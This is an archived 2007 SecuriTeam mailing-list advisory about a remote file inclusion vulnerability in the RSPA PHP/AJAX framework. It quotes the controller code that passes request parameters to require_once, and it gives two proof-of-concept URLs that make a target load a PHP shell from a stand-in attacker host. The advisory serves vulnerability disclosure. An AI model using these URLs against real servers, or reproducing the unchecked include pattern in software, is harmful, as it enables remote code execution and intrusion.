

# [UNIX] Really Simple PHP and AJAX File Inclusion

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-04/msg00009.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxxxx)>
  - *Date:* 4 Apr 2007 17:28:11 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Really Simple PHP and AJAX File Inclusion

---

## SUMMARY

<<http://rspa.sourceforge.net/>> RSPA is "a component based event driven ajax enabled framework for PHP4 and PHP 5. It is a combination of plane PHP class and HTML/Javascript.RSPA allows calling server side PHP functions from client javascript events". A file inclusion vulnerability has been found in RSPA, the vulnerability allows insertion of arbitrary PHP scripts that are then executed.

## DETAILS

Input passed to the "`__IncludeFilePHPClass`", "`__ClassPath`" and "`__class`" parameters in "`rspa/framework/Controller_v5.php`" and "`rspa/framework/Controller_v4.php`" is not properly verified before being used to include files.

This can be exploited to execute arbitrary PHP code by including files from local or external resources.

Vulnerable Code:  
`require_once("rspaconf.inc.php");`

## [UNIX] Really Simple PHP and AJAX File Inclusion

```
$className = $_REQUEST['__class'];
$methodName = $_REQUEST['__method'];

// IncludeFile for PHP Class
if ($_REQUEST['__IncludeFilePHPClass']){

$filename = $_REQUEST['__IncludeFilePHPClass'];
require_once ($filename);
}

// Params
if (isset($_REQUEST['__parameters'])){ $parameter =
getParams($_REQUEST['__parameters']); }else { $parameter=""; }

// ClassFile + ClassPath
include ("../components/Form.class.php");
if ($_REQUEST["__ClassPath"]=="null" ||
empty($_REQUEST["__ClassPath"])){
$filename =
$RSPA['class_folder'].$className.$RSPA['class_extension'];

}else{
$filename =
$_REQUEST["__ClassPath"].$className.$RSPA['class_extension'];
}
require_once($filename);
```

POC exploit:

The following URL will cause remote file inclusion

[http://\[HOST\]/rspa/framework/Controller\\_v5.php? IncludeFilePHPClass=http://attacker/phpshell.txt/?](http://[HOST]/rspa/framework/Controller_v5.php? IncludeFilePHPClass=http://attacker/phpshell.txt/)

[http://\[HOST\]/rspa/framework/Controller\\_v4.php? ClassPath=http://attacker/phpshell.txt/?](http://[HOST]/rspa/framework/Controller_v4.php? ClassPath=http://attacker/phpshell.txt/)

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:bugtraq.ir@xxxxxxxxxx>>  
bugtraq ir.

The original article can be found at:

<[http://www.bugtraq.ir/articles/advisory/RSPA\\_File\\_Inclusion/6](http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6)>

[http://www.bugtraq.ir/articles/advisory/RSPA\\_File\\_Inclusion/6](http://www.bugtraq.ir/articles/advisory/RSPA_File_Inclusion/6)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.